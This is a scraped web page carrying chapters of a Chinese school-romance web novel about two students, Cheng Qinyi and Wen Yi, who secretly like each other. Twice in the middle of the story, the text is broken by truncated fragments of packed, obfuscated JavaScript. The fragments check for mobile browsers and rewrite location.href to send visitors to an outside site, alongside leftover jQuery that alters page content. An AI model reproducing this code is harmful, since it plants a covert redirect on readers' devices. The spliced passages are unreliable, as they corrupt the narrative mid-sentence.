“我们昨晚排练遇到了292班的,他们班的服装居然和我们班的一样,男的诘襟制服,女的文明新装,他们节目还有个女生表演写毛笔字。” “毛笔字?”他有意无意地重复,心脏却悄悄收紧,程覃一皱紧眉头,然后很快舒展开。 “对啊,不得不说,字写得是又快又好。”晏子钦没注意到程覃一细微的变化,继续滔滔不绝,“那个女生好像叫闻弋,我记得也是年级前十的常客。哦,对了!”他猛地想起什么,“就是军训有一天晚上,被教官叫起来找个男同学介绍自己的那个女生。我当时还吐槽她怎么选了个平平无奇的眼镜男呢,你还记得吗?” “不记得了。”程覃一眼底闪过一点黯淡。 他怎么可能会不记得,只是他不敢想起而已。 吃完午饭,两人去小卖部买饮料。冰柜前的白炽灯明晃晃的,程覃一盯着柜子里一排排汽水,突然开口:“你们还需要人吗?” “什么?”晏子钦被嘴里的饮料呛得直咳,“咳咳——你说什么?” “就是,”程覃一犹豫了一下,手指无意识地摩挲着易拉罐上的水珠,“你们的节目,还需要人吗?” 晏子钦瞪大眼睛,像不认识似的看着他:“你想来?怎么不早说?”说着用力捶了一下他的后背,“现在所有角色都有安排了,肯定不需要人啊。不过,”他眼珠一转,“你要是真想来,可以加个角色。” “麻烦吗?” “不麻烦!只要你来,我们换个节目都行。”晏子钦凑近,促狭地笑,“不过,你怎么突然想通了?之前陆青禾磨破嘴皮子你都不答应。” 程覃一拉开易拉环,汽水发出“呲”的轻响。 “我没穿过诘襟制服,”他轻声说,“想试试。” “你这理由真奇葩。”晏子钦一口气喝光手里的饮料,“不管了,反正你肯来就行。今晚自习就跟我们来礼堂排练吧。” 当晚,程覃一跟着晏子钦去了礼堂。 陆青禾看见他时,惊讶得差点掉了手里的剧本。几个编剧本的同学凑在一起紧急商量,最后决定给程覃一安排一个有志青年的角色,作为晏子钦的搭档。台词基本都是两人之间的对话,既不会加重其他同学的负担,也满足了晏子钦想要加戏的愿望。 排练间隙,程覃一靠在舞台边缘,目光不由自主地飘向礼堂另一侧,292班正在那里排练。他看见了那个熟悉的身影。闻弋坐在椅子上,低头整理着裙摆。蓝色的上衣衬得她脖颈白皙,黑色的长裙下露出一截纤细的脚踝。 她一次也没有朝他这边看。 晚会前一天的早上,陆青禾去抽签,回来时脸色不太好。 “一号。”她把抽签条拍在桌上,“我们第一个上场。” 程覃一正趴在课桌上假寐,听见晏子钦问:“292班第几个?” “第三个。”陆青禾的声音带着担忧,“服饰和节目都和我们这么像,对我们不太有利啊……” 晏子钦却笑了:“那正好,我们先出场,给他们压力。” 他们继续讨论着如何利用这个出场顺序,程覃一却一句也听不进去了。满脑子只有一个念头:第一个表演,结束后能赶上看到闻弋的节目吗?她……会看到他的表演吗? 晚会那天,天气格外好。 因为个子高,举班牌的任务落在了程覃一身上。他穿着黑色的诘襟制服,站在台阶上,班牌倚在身侧,目光状似随意地扫过人群,然后定格在不远处。 292班的队伍里,闻弋安静地站着。 她穿着浅蓝色的文明新装,黑色长裙长及脚踝,头发不是往常的高马尾,而是松松地挽了一个低髻,几缕碎发垂在耳侧,整个人显得格外柔和。五月的阳光透过梧桐叶的缝隙,在她身上投下斑驳的光影。 程覃一扶着班牌,假装在看教学楼旁那棵高大的梧桐树,余光却精准地锁定着她。 就在这时,闻弋身旁的女生突然指了指他们这个方向。毫无预兆地,闻弋转过头来。 程覃一猛地将头转向另一边,动作快得甚至带起一阵微风。他死死盯着那棵梧桐树,阳光透过树叶的缝隙刺得他眼睛发酸,心里一片慌乱的嗡鸣。 “看什么呢,这么入神?”晏子钦不知何时走到他身边,用胳膊肘碰了他一下。 “看树叶。” “树叶有什么好看的。”晏子钦从身后拿出一个相机,“想拍照吗?我给你拍一张?” “你哪来的相机?” “我自己的,偷偷带来的。”晏子钦得意地晃了晃相机。 这时,班上有几个女生走过来,看见相机立刻围了上来,说要拍合照。程覃一配合地拍了几张,然后拉着晏子钦走到梧桐树前不远处。 “帮我拍一张和这棵树的合照。” “你爱上这棵树啦?”晏子钦觉得不可思议,“这树有什么特别的?” “挺好看的。”程覃一淡淡地说,目光却飘向那个蓝色的身影,“镜头往右边一点……对,就这样。” 晏子钦按他的要求拍了几张。程覃一接过相机,放大预览图,在画面的边缘,梧桐树旁的台阶上,闻弋静静地站着。其中一张,她似乎正看向他这个方向。 虽然只是一个模糊的侧影,但程覃一的心脏还是不受控制地加快了跳动。 “拍得不错,回去记得发给我。”他拍了拍晏子钦的肩膀,嘴角不自觉地上扬。 “这么开心?”晏子钦纳闷地看着他。 怎么不开心呢?这算是他和闻弋的第一张“合照”。一个穿着诘襟制服,一个穿着文明新装,隔着恰到好处的距离,看起来真像民国时期的一对青年情侣。 当然,这个秘密他会好好藏在心里。 “马上要开始了,快进场。”陆青禾小跑过来催促。 剧场后台,空气里弥漫着松节油、灰尘和若有若无的紧张气息。程覃一站在幕布后,能听见台下嗡嗡的议论声。 主持人报幕完毕,灯光骤亮。 他和晏子钦走上台,台下传来一阵惊呼。程覃一的目光迅速扫过292班的位置,没有看见闻弋。 手心突然变得冰凉。刚才的兴奋和紧张全化作了巨大的慌乱和失落。她不在。是去候场了吗?没关系,过后可以看录播……他这样安慰自己,却掩不住心底的空洞。 表演进行得出乎意料的顺利。谢幕时,掌声如潮。程覃一却觉得那些声音很远,像隔着一层厚厚的玻璃。 表演结束后,他和另外三个男生负责把台上的木质长桌搬回后台。桌子是老式的实木材质,很沉,边缘有些毛糙。桌子挡住了部分视线。程覃一在前面看着路,帮他们扶着。 他们笨拙地挪动着脚步,朝着预定地点移动。 桌子沉重,他们移动到了一个女生身旁,那带着尖角的桌腿就要撞上那个女生的侧腰。 程覃一的余光捕捉到了那个身影。 心脏猛地一缩。 是闻弋。 他迅速将自己这边的桌角向自己的方向狠狠一拉,同时身体侧跨一步,挡在了闻弋和桌子之间,他的手遮住桌角,还好拦得及时,没有撞到闻弋。 女孩显然被吓了一跳,抬起眼眸惊恐地看着他。 “没被撞到吧?” 闻弋摇了摇头。 放好桌子后,他和其他三个男生回到观众席上。 刚才发生的事又突然又短暂。程覃一后悔没能多和她说几句,可是有别人在,他又能说些什么呢? “下面有请第三号班级给大家带来小品。” 三号?是292班! 主持人的话把思绪游走了好一会儿的程覃一拉回来。 明明他已经表演完了,而现在他的心跳得比刚才在台上还快。 闻弋上场了。 他坐在观众席的第一排,离她很近,近到能看见她有些发抖的手。 她端坐着,背脊挺得笔直,微微低着头,额前几缕碎发垂落。 她手握一支毛笔,腕子悬空,落笔。 但她的笔尖移动得异常缓慢,带着颤抖。 那份本该有的行云流水,被一种过分的谨慎取代了。 是因为紧张吗? 另一个女生的词已念完了,但是闻弋还没有写好。 程覃一看到了她脸上开始有些红晕。 他的手心开始冒冷汗,心也在为她加速。 显然是注意到了自己的慢,闻弋加快了自己的笔速。 大概过了一分钟,她站起来,向观众展示自己的作品。 写得真好。 台下响起掌声,但是程覃一却觉得,闻弋好像没有那么满意。 “她字写得好像没有之前我们排练时看到的那么好。”晏子钦凑过来,压低自己的声音。 程覃一皱了皱眉,表示不认可。闻弋的字,不管怎么样写,在他眼里,都是好看的。 所有节目结束后,进入颁奖环节。299班在篮球比赛中又拿了第一,为了节约时间,节目奖和篮球赛奖统一颁发。 299班上去领奖的,是陆青禾和程覃一。 程覃一站在台上,手里拿着一张奖状和一个奖品篮球。 闪光灯在眼前明灭,台下是无数张或熟悉或陌生的面孔。 但他的目光穿透了那片喧嚣的海,落在了靠后排一个安静的角落。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16558102|186512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 她似乎对台上的荣光毫无兴趣,低着头,与周围的热烈格格不入,像被一层透明的玻璃罩子隔绝开来。 台上的灯光那么亮,却照不到那个角落;台下的掌声那么响,却惊扰不了她分毫。 程覃一的世界里的声音仿佛瞬间被调低了音量。 落寞跌入他的心底,打湿了他的所有骄傲。 “程覃一?程覃一?” 旁边的女生轻轻拍打他的肩膀。 “嗯?” “我们该下去了。” 期中过后,整个年级已经开始进入文理分科的讨论。 程覃一原本觉得自己肯定选理进292班,但是一次偶然的偷听,让他改变主意决定去选文。 那一次,他他刚上完厕所回来碰到生物老师,生物老师让他来整理试卷,正好班主任和生物老师谈论起来。 “闻弋地理成绩真好,就是英语差一点,可惜了,还是更适合学理。” “英语努力就能赶上,她文科也很好啊,不学文也蛮可惜的。”班主任说。 “我问过她,她想学文,不过我还是觉得学理更好。”生物老师叹了口气。 …… 闻弋想学文? 他依稀记得文科班最好的是287班。如果闻弋要去学文,那他怎么办?他想和她在一个班,难道自己也要去学文吗? 可是他的文科成绩挺糟糕的,虽然大部分丢分是因为他的字乱七八糟。 如果他好好练字,说不定分很快就能提上来,学文,好像对他没有那么难。 他的班主任知道他那成绩肯定要去理科班,所以从来没有找过程覃一询问他想学文还是学理。 填写完志愿的那天,他被班主任叫到了办公室。 “你怎么想的?怎么会想去学文呢?” 班主任属实没想到程覃一会来说他要学文。 程覃一哪里和文沾边了? 地理还好,历史和政治分低得不像话。 “你好好看看你的文科排名,”班主任递过一张文科成绩年级排名表,“你理科能拿第一,但是你的文科只能排两三百名,你要是学理,考京大那是轻轻松松的事,但是学文想考个好一点的大学都难。” “老师,我仔细分析过我的文科成绩,大部分的丢分其实都是因为我的书写问题,如果我把字练好,排名肯定还能上升很多……” “你的脑子是用来计算数学题物理题的,而不是去背那些对你未来可能毫无益处的条规和历史故事!” “可是,老师,我……” “你给我一个学文的理由。” 在程覃一的世界里,学文学理根本不重要,他未来想做什么根本不重要,对他来说,最重要的是闻弋,他想时时刻刻待在闻弋身边。 学文没有理由,只不过是能待在闻弋身边罢了。 “你还想考京大吗?你学文你觉得你考京大的几率大吗?” 还有两年时间,只要他用心学,有什么不可能?程覃一想这样反驳,却开不了口。 “总之,你学文是不可能的,明明学理更有前途,你学文是走不通的!” “人家闻弋文科成绩那么好,她也很想学文,最后还不是照样选择读理。” 班主任的话让他眼睛一亮。 闻弋不去学文了? 那这样是不是她还在292班,他能待在他的身边? “老师,我觉得你说得对,我还是学理吧。” 程覃一的的转变让班主任觉得有些不可思议,仿佛学文学理是闹着玩似的。 班主任疑心重,重新拿了一张志愿申请单给程覃一,看着他在单子上勾选上理科才放下心。 分班那天,他和晏子钦搬着书到292班的教室。 路上遇见的人都在窃窃私语,“程覃一居然来我们班了”“程覃一居然去292班了!”“之前谁说他要去293的,我还真信了”……这种情况他已经司空见惯。他加快脚步,只想快点见到那个身影。 一进教室,他就环顾四周,急切地寻找闻弋。 班上见到进来的是程覃一,安静的教室掀起一层又一层小小的波浪。。 但是闻弋埋首书中,纹丝不动,似乎完全没注意到教室里的动静。 她扎着简单的马尾,几缕碎发垂在颈侧,随着书写微微晃动。 一种莫名的失落感在程覃一心中蔓延开来,像藤蔓一样缠绕着勒住他的心。 整个晚自习,他发现自己难以集中注意力,他总是朝着闻弋所在的方向看去,观察她在做什么。 他和晏子钦坐在二组最后一排,闻弋坐在四组第四排,离得很远,只能看见她的后脑勺。 闻弋全程保持同一个姿势,偶尔拿出课外书看看,有时候又会杵着脑袋看向窗外。 她在想什么呢? 她为什么不往这边看看呢? 窗外,梧桐树的叶子在晚风中轻轻摇曳。夕阳的余晖透过窗户,在教室里投下长长的影子。程覃一低头,在草稿纸上写下一个名字,又迅速用杂乱的线条涂掉。 没关系的,他想。 还有两年时间。总有一天,他会走到她的面前。 17. 音乐(弋) 程覃一转到292班的第二天,闻弋就和他撞了个满怀。 闻弋照例提前二十分钟到教室。 她习惯性地低着头走路,像往常一样数着脚下的地砖格子。 一、二、三……数到第七块时,她正打算抬起头来打开门,“砰”的一声闷响,她的额头撞上了一片坚硬,淡淡的洗衣粉味道扑面而来。 她正要张口向他道歉,但对方比她快了一步。 “对不起。”一个清冽的男声在头顶响起。 她抬起头来,朝上方瞟去,尴尬撞进一双深邃的眼眸里。 居然是程覃一。 怎么会是他?为什么偏偏是他? “哦哦,抱歉。”她慌忙低下头。 天哪!今天什么运气,居然撞到了程覃一闻弋心有些雀跃,但瞬时又难过下来,雀跃的是她居然那么幸运和程覃一有了那么一点交集,不幸的是居然是自己走路低着头撞到了他,好丢脸。 “是我该道歉,”他说,“我挡在门口了。” 程覃一移开,让出一点路,闻弋在他面前走过。 心想要停留,脚步却在加速离开。 闻弋坐在自己的位置上,回味着刚才的碰撞,她偷偷回头看了一眼门口,程覃一还站在那里,在看墙上的课程表。 她移走目光,看着窗外的梧桐树,早上的阳光格外好。 看了一会儿后,同学们也陆续进来,她转过头,低头看着书桌上的英语笔记。 还有机会,总有机会。 第二次两人短暂的时光很快接踵而至。 周五下午的体育课,体育老师让他们进行八百米测试。 当下课铃终于响起时,闻弋只觉得自己的双腿像灌了铅,喉咙里也干得快要冒烟。 她随着喧闹的人流慢慢挪回教室,第一时间就抓起了桌上那只浅蓝色的水杯。教室里的饮水机前排起了一条不长不短的队伍。 闻弋安静地走到队伍末尾,喘着气,能清晰地听到自己尚未平复的心跳声。她低着头,目光落在自己捏着的水杯上。 一股熟悉的、带着清爽皂角气息的淡香,悄然侵入了她周围的空气。 一个人站到了她的身后。 即使不回头,一种源自本能的直觉,也让她瞬间辨识出了后面人的身份。 是程覃一。 她的脊背下意识地挺直了些,连呼吸都变得小心翼翼起来。她能感觉到他站得很近,近到她甚至能隐约听到他平缓的呼吸声。 队伍缓慢地向前移动。每一次挪动脚步,闻弋都觉得是无比的煎熬。她的全身似乎都被身后那个身影所占据。 她能想象出他此刻的样子,大概和平时一样,穿着那身洗得干净的校服,神色淡然,目光或许正落在窗外,或许正落在她的后颈上,这个突如其来的念头把她吓了一跳。 她不敢回头,甚至不敢大幅度地转动一下脖颈,只能僵硬地盯着前方同学的后背,心里默默祈祷队伍移动得快一点,再快一点。 终于,轮到她了。她有些慌乱地走上前,按下冷水开关。水流哗哗地注入杯中的声音,在此时显得格外清晰。她能感觉到,他的目光似乎正落在她的动作上。 “水满了。”一个低沉的声音在身后响起,很轻,像一块小石子投入她的心湖。 闻弋回过神来,才发现水果然已经漫到了杯口,险些溢出来。她赶紧松开开关,抱着满满当当的水杯,同手同脚地往旁边让开一步。 就在她侧身让开的瞬间,程覃一自然而然地上前,占据了她刚才的位置。他的手臂从她身侧擦过,带起一阵微弱的气流。 “闻弋快出来!”林满抱着一盒切成块的西瓜,在外面热情地向闻弋招手。 闻弋抱着水杯,快步走出教室。 “程覃一和你说什么呢?”林满凑近闻弋的耳朵,悄悄问她。 “没什么,他说我的水满了。”闻弋尽量装作很平静若无其事地说。 她的余光还停留在接着水的程覃一身上。 他微弯着腰,看着水流注入他自己的黑色水杯。额前几缕黑色的碎发略显凌乱,垂落下来,遮住了部分眉眼。鼻梁挺直,下颌线在午后的光线下显得清晰利落。 “我还以为你们那么快就认识了呢?”林满戳了一块西瓜递给闻弋。 “我和他……怎么可能,他估计都不知道我的名字呢?”闻弋接过西瓜,轻轻咬了一口。 “这西瓜甜不甜?我挑了好久呢。”林满问她。 闻弋松了口气,她还担心林满会打趣她呢。 “很甜。”闻弋又咬了一口,她看见程覃一已经会回到自己的位置了,她站在的这个位置,刚好能看见他的侧脸。 她一边搭着林满的话,一边偷瞟程覃一。 唉,总是想要更多。 自从程覃一转来后,闻弋转过头找后桌的频率就增多了,这个事还是后桌和她说了后她才注意到。 “闻弋,你最近找我频率好高啊。”后桌是一个脸圆圆的女生,她嬉笑着对闻弋说。 “是吗?我没怎么注意到。”闻弋随手拿起书桌里的一本课外书,装作漫不经心地翻阅着,她极力回避后桌女生的眼神,她害怕一对上,对方就会把她的那点心思猜透。 “你在看什么书呢?”女生好奇地问她。 “余华的《第七天》,你要看吗?”话题转移到书上,闻弋有了点间隙掩饰自己。 闻弋开始给女生介绍书籍的故事,又在这片刻时间用余光看程覃一。 在之后,闻弋总是借着看过的书的故事和后桌聊天,然后再偷偷瞟向那里。 某一天的午后,闻弋照常和女生聊天。班主任总喜欢在这个时候进来给那些数学成绩有些落后的学生讲习题。 教室里吵吵闹闹的,有在讲题的,有在聊天说闲话的,还有像闻弋这样和别人聊某本书的内容的…… 阳光懒洋洋地洒在课桌上,空气里飘浮着细小的尘埃。班主任在一组前排那讲解着三角函数,声音平稳得像一条缓慢流淌的河。 闻弋转过身子,兴致勃勃和后桌讲着那本最近看完的书,视线不受控制地,又一次飘向了左前方。 程覃一坐在中间靠后的位置,阳光恰好落在他半边脸上,将他轮廓勾勒得格外清晰。他微微低着头,手指间夹着一支黑色水笔,正在笔记本上写着什么。 看着他,总会想起那些过往,那些已经随风飘去,已经快要消失在记忆里的过往,可闻弋就是忘不了。 她总是不甘心,就是这些不甘心一直在支撑着那些记忆。 就在她看得有些出神的时刻,程覃一突然抬起头。毫无预兆地,他的目光直直地撞进了她的眼里。 那一瞬间,世界仿佛被按下了静音键。从一组传来的班主任的声音、窗外篮球落地的声音、安静学习的同学翻书声音,全都消失了。 她僵在原地,连移开视线都忘了。 他的眼睛很好看,是那种深邃的黑,此刻因为逆光,更显得幽深。在那短暂的零点几秒里,他似乎怔了一下,随后,那双总是带着疏离感的眼睛里,闪过一丝了然。 他知道了。 他知道她在偷看他。 这个事实像一盆冷水从头浇下,闻弋慌乱地转回头。她死死地盯着桌上摊开的课外书,后桌的女生还在津津有味看着她翻开的那一页。 闻弋感觉整张脸都在发烫。 完了。 他一定觉得她很奇怪吧? 后桌开始问她一些关于那本课外书的问题 她努力想要集中注意力听,但后桌的声音仿佛来自很远的地方。课外书上的字扭曲成一团,一个字也看不进去。 每一秒都变得无比漫长。 “闻弋?你在听吗?你怎么了?”后桌拍了拍她的肩膀。 “哦哦,抱歉,我刚才突然想到了一个关于这本书的评论……” 他还在看她吗? 是不是在嘲笑她的窘迫? “听起来好有趣啊。”后桌说。 “是啊,对了,你刚才在问什么?” “哦,就是女主为什么要给他的朋友写信,而不是给男主本人呢?难道女主和男主朋友关系很好吗?” “或许是因为并不喜欢男主朋友,所以才放得开,对于喜欢的人,就会更小心翼翼……” 时间过了仿佛一个世纪那么久,她才鼓起勇气,用眼角的余光偷偷往刚才那个方向瞥了一眼。 程覃一已经低下头,继续记着笔记,平静得像是什么都没发生过。 可她分明看见,他的嘴角,似乎有一抹极浅极浅的弧度。 是因为她刚才的狼狈吗? 自那天的短暂对视发生后,为了不让别人发现自己的心思,闻弋就尽量减少自己与程覃一的接触。 如她所愿,他们的接触变得少之又少,无非就是在门口遇到过几次,或者吃完饭回来撞见。 他们真的如同陌生人一样。 也许就是因为一次次不经意的错过,像沙漏里的沙,一粒粒漏下,不觉分量,等发现时,中间已经隔了无法跨越的沙丘。 周五下午的最后一节音乐课,空气里都漂浮着周末将至的松弛感。阳光变得温和,透过窗户,在弥漫着细小尘埃的教室里画出斜斜的光柱。 音乐老师拍了拍手,让大家安静:“今天自由点歌,想听的去音乐委员那里登记。” 闻弋的前桌,也就是班上的音乐委员,立刻被几个同学围住。闻弋对点歌兴致不高,只是安静地翻着桌上的英语练习册,心思却像窗外那朵云,飘飘忽忽。 直到一个清瘦挺拔的身影出现在前桌旁边,是程覃一。 闻弋翻书的动作瞬间停滞,指尖按在书页上。她立刻低下头,假装全神贯注地看着那些单词,仿佛那是世界上最引人入胜的文章,可全身的感官却都不受控制地聚焦在右前方。 他的声音不高,带着他特有的清冽,穿过同学间小小的嘈杂,隐约传来: “……麻烦登记一下……”程覃一后面说的那几个英语单词闻弋没有听清,就记得一个“with”。 “只能往后排了。”音乐委员说。 “……排在最后就可以。”他补充道。 音乐委员利落地记下,程覃一点头说了声“谢谢”,转身回到了自己的座位。整个过程很快,像一阵不经意掠过的风。 那是他喜欢的歌吗?是什么样的旋律? 接下来的课,闻弋有些心不在焉。一首接一首或流行或经典的歌曲在教室里回荡,她却一直在心里默默倒数。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16564956|186512||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 时间过得飞快,当最后一首歌的前奏响起时,下课铃声也尖锐地划破了空气。 “Watchthesunrise(在岸边) Alongthecoast(一起看日出) Aswe''rebothgettingold(我们都慢慢变老) Ican''tdescribe(我难以形容) WhatI''mfeeling(自己的心情) AndallIknow(只知道) Iswe''regoinghome(我们要踏上归途了)……” 好熟悉的音乐,她记得在程覃一送她的MP3里听过。 MP3里的歌太多了,她也懒得找,没想到,居然在教室里听到了。 音乐老师早已离开了,班上同学纷纷背着书包离开,很快教室里只剩下几个值日生。 几乎没有人在意这首刚刚开始、注定要被中断的曲子。 闻弋心里莫名地一紧,一种说不清的失落感攫住了她。她也是今天的值日生,而很巧,或者说很不巧,她和程覃一分在了同一组。 另外几个值日生结伴去后勤处拿打扫工具了。转眼间,喧闹的教室骤然安静下来,只剩下那首被遗忘在角落、兀自流淌的旋律,以及站在讲台边准备要擦黑板的程覃一,和刚站起身去拿抹布的闻弋。 程覃一似乎也才想起这首歌。他看了一眼音响,脸上没什么表情,只是很自然地朝那边走去,看样子是准备关掉它。 不要关! 闻弋的心里喊出这三个字。 眼看他的手就要触碰到开关,一种前所未有的冲动,混合着紧张,把闻弋推向前。没经过大脑思考,声音就已经脱口而出,带着一丝颤抖,在空旷的教室里显得格外清晰:“程覃一,等等!” 她拿了张草稿纸和笔,离开座位,走上前。 他动作一顿,有些诧异地回过头,看向她。 闻弋的脸“唰”地一下就红了,热度迅速蔓延到耳根。她感觉自己快要窒息了,但还是用力吸了一口气,声音比刚才小了很多: “能……能不能别关?”她顿了顿,几乎是耗尽了所有的勇气,才迎上他带着些许探究的目光,飞快地补充了理由:“我……我想记一下歌名。” 他眼神淡然,像蒙着一层薄薄的雾。 闻弋开始后悔自己要阻止他关掉了,早知道就不上来了。 最后他点了点头去,示意让她去记歌名。 歌名叫《Herewithme》。 “谢谢。”闻弋记完后回到自己的座位,她松了一口气。 教室打扫完后,闻弋没急着回宿舍,而是留在了教室,她打算做几分钟的英语阅读。 此时教室里只有闻弋和程覃一。 程覃一没有把歌关了,而是一直循环播放着。 夕阳开始沉下,斜斜搭在西山的肩头,云朵被风拆散,散成鳞状的羽片。 “我该怎样确认秋日的信号?是风把树叶捂黄了的边沿,还是夕照在窗台多停留七分钟?” 闻弋靠着窗子,吹着秋风,写下这句话。 “Watchthesunrise(在岸边) Alongthecoast(一起看日出) Aswe''rebothgettingold(我们都慢慢变老) Ican''tdescribe(我难以形容) WhatI''mfeeling(自己的心情) AndallIknow(只知道) Iswe''regoinghome(我们要踏上归途了)……” 闻弋听着音乐,用七分钟完成了一篇比较难的英语阅读。 光线无声无息地撤退,教室里原本清晰锐利的线条都仿佛被一只温柔的手抚摸过,变得模糊而柔和。 远处操场上拍打篮球的砰砰声不知何时停了,走廊外偶尔经过的脚步声和笑语也稀疏、远去。 闻弋离开了教室。 音乐在她离开不久后,也被关闭。 她清晰地听见关灯声、关门声,她特意走慢一点,她想他就在她的身后。 歌词还在她脑海里循环播放。 “IwishIcouldlive(只希望能重温) Througheverymemoryagain(每一段回忆) Justonemoretime(在我们渐行渐远前) Beforewefloatoffinthewind(再次重温从前吧)……” 她的心里一直是空落落的,透着凉风。 他们之间,究竟是从哪一刻开始走岔的呢? 没有争吵,没有矛盾,甚至没有一句明确的“再见”。 就像两艘并行的船,在茫茫海面上,不知不觉就调整了方向,等回过神来,中间已经隔了一片望不到边的海水。 “Justonemoretime(在我们渐行渐远前) Beforewefloatoffinthewind(再次重温从前吧)……” 他们确实渐行渐远了,哪怕现在已经成了同班同学。 这是个既定的事实。 18. 音乐(一) 程覃一转来292班的第二天,特意提早到了教室。 他停在门口,目光落在墙上的课程表上,却时不时侧过头,若有所思地望向那个靠窗的座位。 闻弋还没来。他清楚地记得昨天留意过她的位置,就在四组第四排。 正出神时,一个身影轻轻撞上了他。 “砰”的一声,伴随着细微的抽气。 是闻弋。没想到她也来得这么早。 “对不起。”他脱口而出,下意识伸手想扶住她的肩,却在半空中顿住,最终不着痕迹地收了回去。 她抬起头,那双看见他就低垂的眼睛里掠过一丝疑惑。 “哦哦,抱歉。”认出是他后,她慌忙低下头,像是有些不愿和他对视,或许是不愿意见到他? 明明是他挡了路,她却道了歉。 “是我该说对不起,”他侧身让开,“我站在这儿挡着你了。” 她脚步匆匆,几乎像在逃离什么。 她就真这么不想见到他吗? 程覃一的目光不自觉地追着她的背影,直到她在靠窗的座位坐下,她瞟着窗外,似乎在观察着什么,整个过程没有转过头。 他斜倚在门框边,装作继续看课程表,余光却始终停在她身上。某一瞬,他察觉她似乎朝这边看了一眼,他立刻转回视线,对着课表怔怔出神。 唉,总不能一直这样下去。到底什么时候,才能往前一步呢? 慢慢来吧。总会有机会的。 程覃一有时候会制造一些能接触闻弋的机会。 比如周五的那节体育课下课回教室后,他看见闻弋拿着水杯去接水,他就马上起身,拿着水杯快速抢先站到闻弋身后。 她今天扎了低马尾,有几缕碎发没有被束好,随着她低头的动作轻轻晃动。 程覃一注意到她的耳垂很薄,在逆光下透着淡淡的粉色,像初春的海棠花花瓣。 队伍缓慢向前移动。她似乎有些心不在焉,右手抚摸着杯壁。 看着她的手,程覃一忽然想起曾经在书法班时闻弋握着他的手写毛笔字的场景。 他的耳朵瞬间泛起了红晕,他就站在闻弋身后,似乎感受到了曾经覆在他手上的温度,手是冰凉的,可心却是滚烫的。 缓缓移动的步伐,就像一笔一笔落在宣纸上的墨水,轻轻的,飘渺的,让人向往的。 他的手不自主地握紧了手中的水杯,尽量让自己不去想那些事。 他继续观察着眼前的女孩,她的校服领子没有翻好,有一角倔强地翘着。 这个发现让程覃一心里泛起一丝柔软。他总是能在她身上找到这些与平日形象不符的破绽,可他却偏爱这一点马虎。 前面的人接完水离开,轮到她上前。她快步走到饮水机前。按下开关时,水流声哗哗作响,她却依然怔怔的,直到水漫出杯口都浑然不觉。 “水满了。”程覃一出声提醒。 她回头看向程覃一,眼睛里还带着未散尽的茫然。她慌乱地关掉开关,抱着满满的水杯侧身让开,动作急促得差点绊到自己。 教室外传来她朋友的声音,叫她出去。 她最近是有什么烦心事吗?怎么接个水还出神呢? 难道是因为他站在她后面,感觉不自在了? 又胡思乱想自作多情了!程覃一狠狠谴责自己。 程覃一垂下眼,按下出水键。水流注入杯中。 回到自己的座位后,晏子钦一脸疑惑地看着他。 “我脸上有啥吗?”程覃一不解地问他。 莫非他脸上真有啥?那岂不是闻弋看见了? “你……”晏子钦皱了皱眉,忽然莫名其妙笑了,“程覃一,你耳朵怎么那么红,我没想你耳朵居然会红……” 程覃一伸手摸了摸自己的耳朵,摸到一片滚烫。 “天太热了吧。”程覃一喝了口水,试图掩盖空气中的尴尬。 “热吗?要不去吃西瓜,外面有人在吃呢,你去要一块。”晏子钦嬉笑。 程覃一抬起头来看向门外,是闻弋和她朋友在吃西瓜。 “人家都不认识我,我为什么要去,你要吃自己去。”程覃一怎么敢贸然去找闻弋要西瓜呢?本来他们就已经成陌生人了,再去要块西瓜,那关系岂不是更差了? “这你就不懂了,去要一块,说不定就认识了呢……”晏子钦仍然一副嬉皮笑脸的样子。 程覃一不理他,低着头做作业。 他想和闻弋做朋友,也不能以这种不礼貌的方式,他才想让闻弋觉得尴尬。 自从到了292班后,程覃一除了学习就是观察闻弋。 他总是控制不住自己的目光,幻想着某一天她也能回头看一看自己,哪怕只是不经意。 程覃一一直以为这样的事只会发生在自己的幻想里,但是居然真的发生了。 那天午后的阳光正好,程覃一从物理习题中抬起头,目光习惯性地望向那个靠窗的座位。 闻弋正转过身来,拿着一本书,和后桌的那个女生谈论着什么,阳光在她睫毛上跳跃,映出细碎的影子。 班主任的声音从一组那边传来,他才发现班主任居然在教室里,看起来应该是在给一组前排的同学讲习题。 程覃一看了一眼班主任后,又移走目光,想继续看和同学聊天的闻弋。 不料正好撞上她的目光。 四目相对的瞬间,两个人都愣住了。 那是一种毫不设防的注视。 没有惊慌,没有躲闪,只有纯粹的凝望,像是已经这样看了他很久。 时间仿佛在这一刻静止。 他看见她的瞳孔放大。那双看见他就低垂着的眼睛此刻在他面前完全张开。 很漂亮的眼睛,程覃一每次见到她,她都低着头,只能看见垂下去长长的睫毛。 她居然在看他。 而且她竟然没有立即移开视线,而是就这样与他对视着。 程覃一感觉到不好意思,他收回自己的视线,低头看向自己的物理题。但他一个字也看不进去,脑海里全是她刚才那个眼神。 笔尖在纸上无意识地划出一道弧线,就像他扬起的嘴角。 所以闻弋干嘛要看他呢? 他不敢往那个方向猜测,毕竟像闻弋这样的女生,怎么可能会喜欢他呢? 难道是想看他在干什么吗? 所以闻弋是把他当做竞争对手,所以才观察他的吗? 不过,就算把他当竞争对手,也比无视他好,前者起码还能证明闻弋在意他。 周五下午的最后一节课是音乐课,音乐老师有事不上课,就让音乐委员组织班上的同学放歌听。 那天程覃一心血来潮想放首音乐,他到音乐委员那里登记了一首歌,叫《TakeMeWithYou》。 